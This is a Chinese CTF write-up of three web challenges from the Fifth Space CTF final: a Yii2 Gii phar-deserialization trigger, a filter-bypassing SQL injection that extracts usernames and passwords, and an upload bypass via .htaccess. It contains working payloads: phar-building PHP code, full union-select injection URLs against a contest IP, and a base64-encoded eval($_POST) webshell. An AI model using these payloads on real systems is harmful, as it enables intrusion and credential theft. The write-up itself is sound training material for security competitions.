决赛Writeup-Web
2022-9-30 08:1:43 Author: 雾晓安全(查看原文) 阅读量:31 收藏

第五空间CTF

coderview

这题下载附件可以看到题目直接把这个框架的写马链子的phar包给了我们,放在uploads目录里面

然后环境有上传接口。直接传上去把我们的phar.jpg上传上去。回显路径/tmp/phar.jpg。那么现在的关键就是找phar触发点了。这也是这道题的考点。最难的一个地方。比赛的时候直接找了官方原版和我们的附件比对不同的地方。发现我们的附件只是多了一个上传接口。也就意味着我们要找的phar触发点,只能在官方的扩展或者框架里面挖了。这个点也是找了老久。最后在?r=gii。发现了一堆服务。在添加扩展那里output path就可以成功触发phar包执行命令

| 原理分析

直接本地起服务调试

访问/?r=gii可以看到这里有很多地方供我们测试

在扩展生成这里,我们直接写phar,跟进去看看。这个时候modulePath为我们的phar协议。
然后在new CodeFile这里会进入这个类的__construct方法,最终在is_file这里触发phar协议。可以看到这里的$path和我们传进去的phar:///tmp/phar.jpg相比多了/yii2-shanghe/composer.json但是这里并不会影响我们触发/tmp/phar.jpg目录下的phar包。

本地测试,先在本地生产一个phar包。
<?php
    class TestObject {
 
    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>
写一个测试类。我们正常include('phar://phar.phar');可以看到正常输出了hu3sky
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>

我们现在include('phar://phar.phar/aaaaa/awd')一样是可以正常触发的。题目同理。

除了上面的添加扩展其实这里的其他模块都可以。比如下面这个。我们让view PATH为我们的phar协议。开启调试。发现我们的view path字段带进去了new codefile。并来到了is_file触发phar

从上面其实可以看到。这里我们触发phar的终点都是在is_file函数。只要new CodeFile,把我们的phar协议带进去,最后就能走到is_file都能触发phar。这里的CRUDFrom里面的view Path触发phar的道理是一样的

easysqli

查看源代码 发现参数id。通过bp fuzz  发现ban掉了and空格information_scheme等关键字

成功闭合,并且有回显.用mysql.innodb_index_stats替换information_scheme查看寻表名和数据库名

发现flag,但是这里并没有flag,只是一个提示

访问login.php,需要用户名和密码

查看用户http://39.106.154.208:29106/?id=3'/**/union/**/select/**/1,concat(0x7e,(select/**/username/**/from/**/users),0x7e),3/**/or/**/'3'='3

查看密码http://39.106.154.208:29106/?id=3'/**/union/**/select/**/1,concat(0x7e,(select/**/password/**/from/**/users),0x7e),3/**/or/**/'3'='3

接下来再根据他们给的提示改ua和accept登录即可拿flag

easyupload

看源码拉到底。看到提示

生成直接双写替换即可。然后看到下一个提示

发现了上传的接口

测试可以知道php这些传不了,而且php标签啥的都没了。配置文件可以传。那直接打就可以了
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png

AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"

Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/png

PD9waHAgQGV2YWwoJF9QT1NUWydhZyddKTs/Pg==

然后访问1.txt直接蚁剑连解拿flag

关注公众号"Cyber Guard"
后台回复:codeview可获取赛题的附件
Cyber Guard
#漏洞复现#CTF技巧#安全信息#渗透测试
公众号
往期回顾:

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247495621&idx=1&sn=06bdd6cd079e9b08785445ade8225d9a&chksm=ce682043f91fa95526468ecd2f5839bf1baac59ef4881b1caf0e9e8b5425d60d932a55eeb2d3#rd
如有侵权请联系:admin#unsafe.sh